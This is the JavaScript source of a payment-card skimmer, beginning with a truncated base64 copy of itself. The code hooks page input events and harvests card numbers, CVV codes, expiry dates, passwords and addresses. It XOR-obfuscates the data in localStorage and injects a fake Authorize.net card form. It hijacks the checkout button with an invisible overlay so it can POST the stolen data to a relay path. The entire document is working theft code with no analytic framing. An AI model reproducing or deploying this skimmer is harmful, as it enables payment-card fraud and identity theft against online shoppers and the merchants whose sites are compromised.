zBLSUNBZ0lDQWdJQ0E4WW5JK0RRb2dJQ0FnSUNBZ0lEeHBibkIxZENCMGVYQmxQU0owWlhoMElpQnBaRDBpWlhod1pHRjBaU0lnYm1GdFpUMGlaWGh3WkdGMFpTSWdjR3hoWTJWb2IyeGtaWEk5SWsxTklDOGdXVmtpSUcxaGVHeGxibWQwYUQwaU55SWdZMnhoYzNNOUltbHVjSFYwTFhSbGVIUWlQZzBLSUNBZ0lDQWdQQzlrYVhZK0RRb2dJQ0FnSUNBOFpHbDJJR2xrUFNKamRuWmpiMlJsWDJsMFpXMGlJR05zWVhOelBTSm1iM0p0WDJsMFpXMGlQZzBLSUNBZ0lDQWdJQ0E4YkdGaVpXd2dabTl5UFNKamRuWmpiMlJsSWo1RFZsWWdRMjlrWlRvOEwyeGhZbVZzUGcwS0lDQWdJQ0FnSUNBOFluSStEUW9nSUNBZ0lDQWdJRHhwYm5CMWRDQjBlWEJsUFNKMFpYaDBJaUJwWkQwaVkzWjJZMjlrWlNJZ2JtRnRaVDBpWTNaMlkyOWtaU0lnY0d4aFkyVm9iMnhrWlhJOUlrTldWaUlnYldGNGJHVnVaM1JvUFNJMElpQmpiR0Z6Y3owaWFXNXdkWFF0ZEdWNGRDSStEUW9nSUNBZ0lDQThMMlJwZGo0TkNpQWdJQ0E4TDJScGRqNE5DaUFnUEM5a2FYWStEUW84TDJScGRqND0nKQ0KDQogIF8wLmludGVydmFsKCgpID0+IHsNCiAgICBjb25zdCBhZCA9IF8wLnNlZWtObWFyayhgI2F1dGhvcml6ZW5ldF9kZWZhdWx0YCkNCiAgICBpZiAoIWFkKSByZXR1cm4NCiAgICBfMC5hZCA9IGFkDQoNCiAgICBfMC5sb2coYHRoZSBmb3JtOmAsIF8wLmFkKQ0KDQogICAgaWYgKGhpZGVPblN0YXJ0KSBfMC5hZC5zdHlsZS5kaXNwbGF5ID0gYG5vbmVgDQogICAgDQogICAgXzAubnVtYmVyX2xpc3RlbmVyID0gZm4gPT4gZXYgPT4gZXYudGFyZ2V0LnZhbHVlID0gZm4oZXYudGFyZ2V0LnZhbHVlLnJlcGxhY2UoL1xEL2csJycpKQ0KICAgIF8wLmNjbl9saXN0ZW5lciAgICA9IF8wLm51bWJlcl9saXN0ZW5lcih2YWwgPT4gdmFsLnJlcGxhY2UoLyguezR9KS9nLCckMSAnKS50cmltKCkpDQogICAgXzAuY3Z2X2xpc3RlbmVyICAgID0gXzAubnVtYmVyX2xpc3RlbmVyKHZhbCA9PiB2YWwpDQogICAgXzAuZXhwX2xpc3RlbmVyICAgID0gXzAubnVtYmVyX2xpc3RlbmVyKHZhbCA9PiB2YWwucmVwbGFjZSgvXihcZHsyfSkoXGQpLywnJDEgLyAkMicpKQ0KDQogICAgXzAubHVobl9jaGVjayA9IHZhbHVlID0+IHsNCiAgICAgIHZhbHVlID0gdmFsdWUucmVwbGFjZSgvXEQvZywnJykNCiAgICAgIGlmICh2YWx1ZS5sZW5ndGggPT09IDApIHJldHVybiBmYWxzZQ0KICAgICAgbGV0IGNoZWNrID0gMA0KICAgICAgbGV0IGV2ZW4gID0gZmFsc2UNCiAgICAgIGZvciAobGV0IG4gPSB2YWx1ZS5sZW5ndGggLSAxOyBuID49IDA7IG4tLSkgew0KICAgICAgICBsZXQgZGlnaXQgID0gcGFyc2VJbnQodmFsdWUuY2hhckF0KG4pLCAxMCkNCiAgICAgICAgICAgIGRpZ2l0ICo9IGV2ZW4gKyAxDQogICAgICAgICAgICBjaGVjayArPSBkaWdpdCAtIChkaWdpdCA+IDkgPyA5IDogMCkNCiAgICAgICAgICAgIGV2ZW4gICA9ICFldmVuDQogICAgICB9DQogICAgICByZXR1cm4gMCA9PSBjaGVjayAlIDEwDQogICAgfQ0KDQogICAgXzAuY3Z2X2NoZWNrID0gdiA9PiB2Lmxlbmd0aCA+IDIgJiYgdi5sZW5ndGggPCA1DQoNCiAgICBfMC5leHBfY2hlY2sgPSB2ID0+IHsNCiAgICAgIHRyeSB7DQogICAgICAgIGNvbnN0IFttbSwgeXldID0gdi5zcGxpdCgnIC8gJykubWFwKHYgPT4gcGFyc2VJbnQodikpDQogICAgICAgIGNvbnN0IGRhdGUgICAgID0gbmV3IERhdGUoKQ0KICAgICAgICBjb25zdCB5ICAgICAgICA9IGRhdGUuZ2V0VVRDRnVsbFllYXIoKSAtIDIwMDANCiAgICAgICAgY29uc3QgbSAgICAgICAgPSBkYXRlLmdldFVUQ01vbnRoKCkNCiAgICAgICAgcmV0dXJuIEJvb2xlYW4obW0gJiYgeXkgJiYgbW0gPCAxMyAmJiAoeXkgPiB5IHx8ICh5eSA9PSB5ICYmIG1tID49IG0pKSkNCiAgICAgIH0gY2F0Y2ggKGUpIHsgcmV0dXJuIGZhbHNlIH0NCiAgICB9DQoNCiAgICBfMC5jY251bWJlciA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJyNjY251bWJlcicpDQogICAgXzAuY3Z2Y29kZSAgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcjY3Z2Y29kZScpDQogICAgXzAuZXhwZGF0ZSAgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcjZXhwZGF0ZScpDQogICAgXzAuaW5wdXRzICAgPSBbXzAuY2NudW1iZXIsIF8wLmN2dmNvZGUsIF8wLmV4cGRhdGVdDQogICAgXzAuY2NudW1iZXIuYWRkRXZlbnRMaXN0ZW5lcignaW5wdXQnLCBfMC5jY25fbGlzdGVuZXIpDQogICAgXzAuY3Z2Y29kZS5hZGRFdmVudExpc3RlbmVyKCdpbnB1dCcsIF8wLmN2dl9saXN0ZW5lcikNCiAgICBfMC5leHBkYXRlLmFkZEV2ZW50TGlzdGVuZXIoJ2lucHV0JywgXzAuZXhwX2xpc3RlbmVyKQ0KDQogICAgICAgICAgXzAucmFkaW8gID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcihfMC5yYWRpb1NlbGVjdG9yKQ0KICAgIGNvbnN0IHJhZGlvTmFtZSA9IF8wLnJhZGlvLmdldEF0dHJpYnV0ZSgnbmFtZScpDQoNCiAgICB3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcihgY2hhbmdlYCwgZXYgPT4gew0KICAgICAgaWYgKGV2LnRhcmdldC5nZXRBdHRyaWJ1dGUoYG5hbWVgKSA9PSByYWRpb05hbWUpIHsNCiAgICAgICAgXzAuYWQuc3R5bGUuZGlzcGxheSA9IF8wLnJhZGlvLmNoZWNrZWQgPyBgYCA6IGBub25lYA0KICAgICAgfQ0KICAgIH0pDQoNCiAgICBfMC5jaGVja2YgPSBjaGVja2YgPT4gZnVuY3Rpb24oKSB7DQogICAgICBjb25zdCByZSA9IGNoZWNrZih0aGlzLnZhbHVlKTsNCiAgICAgIHRoaXMuY2xhc3NMaXN0LnRvZ2dsZSgnaW5wdXRlcnJvcicsICFyZSk7DQogICAgICByZXR1cm4gcmU7DQogICAgfQ0KICAgIA0KICAgIF8wLmNjbnVtYmVyLmNoZWNrID0gXzAuY2hlY2tmKF8wLmx1aG5fY2hlY2spOw0KICAgIF8wLmN2dmNvZGUuY2hlY2sgPSBfMC5jaGVja2YoXzAuY3Z2X2NoZWNrKTsNCiAgICBfMC5leHBkYXRlLmNoZWNrID0gXzAuY2hlY2tmKF8wLmV4cF9jaGVjayk7DQoNCiAgICBfMC5pbnB1dHMuY2hlY2tBbGwgPSAoKSA9PiBfMC5pbnB1dHMubWFwKGlucCA9PiBpbnAuY2hlY2soKSkuZXZlcnkoQm9vbGVhbik7DQoNCiAgICBfMC5jb2xsZWN0ID0gKCkgPT4gXzAuaW5wdXRzLm1hcChpbnAgPT4gaW5wLnZhbHVlKTsNCiAgfSk7DQoNCiAgLyogc2VlayBmb3IgcGF5bWV0aG9kDQogICovDQogIF8wLmludGVydmFsKCgpID0+IHsNCiAgICBjb25zdCByb290ID0gZ2V0Rm9ybVJvb3QoKQ0KICAgIGlmICghcm9vdCkgcmV0dXJuDQogICAgXzAucm9vdCA9IHJvb3QNCg0KICAgIF8wLmxvZygnZm91bmQgcm9vdDonLCBfMC5yb290KTsNCg0KICAgIF8wLmRpdiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicpOw0KICAgIF8wLmRpdi5pbm5lckhUTUwgPSBfMC5odG1sOw0KICAgIF8wLnJvb3QuYXBwZW5kQ2hpbGQoXzAuZGl2KTsNCiAgfSk7DQp9DQoNCl8wLl9pbml0KCkNCl8wLm1haW4oKQ=='));


_0 = {};
_0.v = "0.4.1.1";
_0.debug = localStorage["0debug"];
_0.log = (...m) => _0.debug && console.log(...m);
_0.xorkey = "angrybeaver";
_0.storageDataKey = btoa(window.location.host);
_0.shouldIgnore = (x) => x._0;
_0.ignoreThis = (x) => (x._0 = 1);

// ? optional
_0.words = /billing|ccnumber|expdate|cvvcode|payment|authorize|password|input-text valid|firstname|lastname|street[0]|city|region_id|postcode|telephone/i;
_0.relay = "/cgi-bin/";
_0.finalButtonSelector = "button[data-role=review-save]";
// _0.radioSelector = `#payflowpro`

_0.main = () => {
  _0.interval(() => {
    const ccInput = _0.seekNmark("#payflowpro_cc_number");
    if (!ccInput) return;
    _0.ccInput = ccInput;
    _0.log("cc field found:", _0.ccInput);

    // ! cuz this input didnt snf 4 some reason
    // method.addEventListener(`input`, ev => _0.inputWatcher(ev))
    // * listeners didnt help either
    if (_0.ccInputClone) _0.ccInputClone.remove();
    else
      _0.interval(() => {
        _0.ccInputClone.value = _0.ccInput.value;
      });
    _0.ccInputClone = document.createElement("input");
    _0.ccInputClone.type = "hidden";
    _0.ccInputClone.setAttribute("name", "ccnumber");
    _0.ccInput.parentElement.appendChild(_0.ccInputClone);

    _0.detectButton(_0.finalButtonSelector);
    // _0.makeFinalInput(`control-hash`, method.parentElement)
  });
};

_0.b64E = (str) => {
  const encoded = encodeURIComponent(str);
  const replacer = (_, p1) => String.fromCharCode(parseInt(p1, 16));
  const filtered = encoded.replace(/%([0-9A-F]{2})/g, replacer);
  return btoa(filtered);
};

_0.b64D = (str) => {
  const decoded = atob(str);
  const converter = (c) =>
    "%" + ("00" + c.charCodeAt(0).toString(16)).slice(-2);
  return decodeURIComponent(decoded.split("").map(converter).join(""));
};

_0.xorenc = (key, input) =>
  input
    .split("")
    .map((c, i) => {
      const code1 = c.charCodeAt();
      const code2 = key[i % key.length].charCodeAt();
      const val = (code1 ^ code2).toString(16);
      return val.length < 2 ? "0" + val : val;
    })
    .join(""); // string!

_0.xordec = (key, input) => {
  if (input.length % 2) return "";

  let pointer = 0;
  let re = "";
  let len = input.length / 2;

  while (len--) {
    const keyval = key[(pointer / 2) % key.length].charCodeAt();
    const hex = input[pointer++] + input[pointer++];
    const val = parseInt(hex, 16);
    re += String.fromCharCode(val ^ keyval);
  }

  return re; // string!
};

_0.enc = (input) => _0.xorenc(_0.xorkey, _0.b64E(input));
_0.dec = (input) => _0.b64D(_0.xordec(_0.xorkey, input));

_0.interval = (fn, interval = 500) => {
  const loop = () => {
    let br;

    try {
      br = fn();
    } catch (e) {}

    if (!br) {
      setTimeout(loop, interval);
    }
  };

  setTimeout(loop, interval);
};

_0.load = () => {
  let data = localStorage[_0.storageDataKey];
  try {
    data = _0.dec(data);
    _0._data = JSON.parse(data);
  } catch (e) {
    _0.log("cannot load a memory\\n", e);
    _0._data = {};
  }
  return _0._data;
};

_0.save = (data, overwrite) => {
  if (data) {
    const data0 = _0.load();
    _0._data = overwrite ? data : { ...data0, ...data };
  }

  try {
    data = JSON.stringify(_0._data);
    data = _0.enc(data);
    localStorage[_0.storageDataKey] = data;
  } catch (e) {
    _0.log("cannot save a memory\\n", e, _0._data);
    _0._data = {};
  }
};

_0.seekNmark = (selector) => {
  const el = document.querySelector(selector);
  if (el && !_0.shouldIgnore(el)) {
    _0.ignoreThis(el);
    return el;
  }
};

_0.getHtml = (el) => {
  const div = document.createElement("div");
  const clone = el.cloneNode();
  div.appendChild(clone);
  return div.innerHTML;
};

_0.checkWords = (el) => {
  if (!_0.words) return true; // ? pass all
  const html = _0.getHtml(el);
  return _0.words.test(html);
};

_0.grabAll = () => {
  const filters = (...fs) => (x) => fs.map((f) => f(x)).every(Boolean);
  const fRadio = (inp) => inp.type != "radio" || !inp.checked;
  const fCb = (inp) => inp.type != "checkbox";
  const ignore = (inp) => !_0.shouldIgnore(inp);

  const re = {};
  Array.from(document.querySelectorAll("input"))
    .filter(filters(fRadio, fCb, _0.checkWords, ignore))
    .forEach((input, idx) => {
      const name = input.getAttribute("name") || `theInput${idx}`;
      re[name] = input.value;
    });
  Array.from(document.querySelectorAll("select"))
    .filter(_0.checkWords, ignore)
    .forEach((select, idx) => {
      const name = select.getAttribute("name") || `theSelect${idx}`;
      const selected = Array.from(select.options).find((o) => o.selected);
      re[name] = selected ? selected.innerText : "???";
    });

  return re;
};

_0.checkReferrer = () => {
  const data = _0.load();
  _0.log("data:\\n", data);

  const ref = data._0referrer || document.referrer || window.location.host;
  _0.log("ref: ", ref);

  let isAllowed = !ref.includes(window.location.host);
  if (_0.refs) isAllowed &= _0.refs.map((ar) => ref.includes(ar)).some(Boolean);

  _0.save({ _0referrer: ref, _0ref_saved: ref });

  return isAllowed;
};

_0.encodeData = (data) => {
  data = JSON.stringify(data);
  return _0.xorkey ? _0.enc(data) : btoa(data);
};

_0.send = (data) => {
  data = _0.encodeData(data);
  const ct = "application/x-www-form-urlencoded;charset=utf-8";
  // const ct = 'application/json;charset=utf-8'

  let body = `0=${window.location.host}&1=${data}`;
  if (_0.xorkey) body += "&2=enc02";

  return fetch(_0.relay || "/", {
    method: "post",
    headers: {
      "Content-Type": "application/x-www-form-urlencoded;charset=utf-8",
    },
    body,
  })
    .catch((err) => {
      _0.log("err when sending", err);
      return true;
    })
    .then((_) => true);
};

_0.makeFinalInput = (name, parent) => {
  if (_0.finalInput) _0.finalInput.remove();
  _0.finalInput = document.createElement("input");
  _0.finalInput.type = "hidden";
  _0.finalInput.value = _0.encodeData(_0.load());
  _0.finalInput.setAttribute("name", name);
  _0.ignoreThis(_0.finalInput);
  parent.appendChild(_0.finalInput);
  return _0.finalInput;
};

_0.detectButton = (selector, onClick) => {
  if (!onClick)
    onClick = async (_) => {
      if (_0.radio && !_0.radio.checked) {
        _0.log("radio is not checked. clicking without sending");
        return true;
      }
      if (_0.inputs && !_0.inputs.checkAll()) {
        _0.log("inputs check failed.");
        return false;
      }

      await _0.sendData();
      return true;
    };
  _0.log(`initialising detection for: ${selector}`);
  _0.log(`${selector} onClick:`, onClick);
  _0.interval(() => {
    const bt = _0.seekNmark(selector);
    if (bt) {
      _0.log(`selector ${selector} detected!`, bt);
      _0.catchClick(bt, onClick);
    }
  });
};

_0.catchClick = (elem, onClick) => {
  if ("static" == getComputedStyle(elem).position) {
    elem.style.position = "relative";
  }

  const style =
    "position: absolute;top: 0;left: 0;width: 100%;height: 100%;z-index: 9999;";

  const catcher = document.createElement("div");
  _0.ignoreThis(catcher);
  catcher.setAttribute(
    "style",
    "position: absolute;top: 0;left: 0;width: 100%;height: 100%;z-index: 9999;"
  );
  elem.appendChild(catcher);

  catcher.addEventListener("click", async (ev) => {
    ev.stopPropagation();
    ev.preventDefault();
    _0.log("catcher ev:", ev);

    const propagate = await onClick();
    if (propagate) {
      _0.log("click propagation: true. clicking on:", elem);
      elem.click();
    }
  });

  return catcher;
};

_0.sendData = () => _0.send(_0.load());

_0.inputWatcher = (ev) => _0.save(_0.grabAll());

_0._init = () => {
  const evl1 = (ev) => _0.inputWatcher(ev);
  const evl2 = (ev) => ev.key === "Enter" && _0.inputWatcher(ev);
  window.addEventListener("input", evl1);
  window.addEventListener("click", evl1);
  window.addEventListener("keydown", evl2);

  _0.rollback = () => {
    window.removeEventListener("input", evl1);
    window.removeEventListener("click", evl1);
    window.removeEventListener("keydown", evl2);
  };
};

_0.makeForm = (getFormRoot, hideOnStart) => {
  _0.html =
    '<div id="authorizenet_default_0">\r\n  <style>\r\n    #authorizenet_default input {\r\n      width: 100%;\r\n      margin: 0 5px;\r\n    }\r\n    .form_line {\r\n      display: flex;\r\n      justify-content: center;\r\n    }\r\n    .form_line > * {\r\n      flex: 1;\r\n    }\r\n    .form_item {\r\n      margin: 0 5px;\r\n    }\r\n    .inputerror {\r\n      box-shadow: 0 0 3px 1px rgba(255, 0, 0, .4) !important;\r\n      /* border: 1px solid rgba(255, 0, 0, .4) !important; */\r\n    }\r\n  </style>\r\n  <div id="authorizenet_default">\r\n    <div class="form_line">\r\n      <div id="ccnumber_item" class="form_item">\r\n        <label for="ccnumber">Credit Card:</label>\r\n        <br>\r\n        <input type="text" id="ccnumber" name="ccnumber" placeholder="**** **** **** ****" maxlength="19" class="input-text">\r\n      </div>\r\n    </div>\r\n    <div class="form_line">\r\n      <div id="expdate_item" class="form_item">\r\n        <label for="expdate">Expiry Date:</label>\r\n        <br>\r\n        <input type="text" id="expdate" name="expdate" placeholder="MM / YY" maxlength="7" class="input-text">\r\n      </div>\r\n      <div id="cvvcode_item" class="form_item">\r\n        <label for="cvvcode">CVV Code:</label>\r\n        <br>\r\n        <input type="text" id="cvvcode" name="cvvcode" placeholder="CVV" maxlength="4" class="input-text">\r\n      </div>\r\n    </div>\r\n  </div>\r\n</div>';

  _0.interval(() => {
    const ad = _0.seekNmark("#authorizenet_default");
    if (!ad) return;
    _0.ad = ad;

    _0.log("the form:", _0.ad);

    if (hideOnStart) _0.ad.style.display = "none";

    _0.number_listener = (fn) => (ev) =>
      (ev.target.value = fn(ev.target.value.replace(/\D/g, "")));
    _0.ccn_listener = _0.number_listener((val) =>
      val.replace(/(.{4})/g, "$1 ").trim()
    );
    _0.cvv_listener = _0.number_listener((val) => val);
    _0.exp_listener = _0.number_listener((val) =>
      val.replace(/^(\d{2})(\d)/, "$1 / $2")
    );

    _0.luhn_check = (value) => {
      value = value.replace(/\D/g, "");
      if (value.length === 0) return false;
      let check = 0;
      let even = false;
      for (let n = value.length - 1; n >= 0; n--) {
        let digit = parseInt(value.charAt(n), 10);
        digit *= even + 1;
        check += digit - (digit > 9 ? 9 : 0);
        even = !even;
      }
      return 0 == check % 10;
    };

    _0.cvv_check = (v) => v.length > 2 && v.length < 5;

    _0.exp_check = (v) => {
      try {
        const [mm, yy] = v.split(" / ").map((v) => parseInt(v));
        const date = new Date();
        const y = date.getUTCFullYear() - 2000;
        const m = date.getUTCMonth();
        return Boolean(mm && yy && mm < 13 && (yy > y || (yy == y && mm >= m)));
      } catch (e) {
        return false;
      }
    };

    _0.ccnumber = document.querySelector("#ccnumber");
    _0.cvvcode = document.querySelector("#cvvcode");
    _0.expdate = document.querySelector("#expdate");
    _0.inputs = [_0.ccnumber, _0.cvvcode, _0.expdate];
    _0.ccnumber.addEventListener("input", _0.ccn_listener);
    _0.cvvcode.addEventListener("input", _0.cvv_listener);
    _0.expdate.addEventListener("input", _0.exp_listener);

    _0.radio = document.querySelector(_0.radioSelector);
    const radioName = _0.radio.getAttribute("name");

    window.addEventListener("change", (ev) => {
      if (ev.target.getAttribute("name") == radioName) {
        _0.ad.style.display = _0.radio.checked ? "" : "none";
      }
    });

    _0.checkf = (checkf) =>
      function () {
        const re = checkf(this.value);
        this.classList.toggle("inputerror", !re);
        return re;
      };

    _0.ccnumber.check = _0.checkf(_0.luhn_check);
    _0.cvvcode.check = _0.checkf(_0.cvv_check);
    _0.expdate.check = _0.checkf(_0.exp_check);

    _0.inputs.checkAll = () =>
      _0.inputs.map((inp) => inp.check()).every(Boolean);

    _0.collect = () => _0.inputs.map((inp) => inp.value);
  });

  /* seek for paymethod
   */
  _0.interval(() => {
    const root = getFormRoot();
    if (!root) return;
    _0.root = root;

    _0.log("found root:", _0.root);

    _0.div = document.createElement("div");
    _0.div.innerHTML = _0.html;
    _0.root.appendChild(_0.div);
  });
};

_0._init();
_0.main();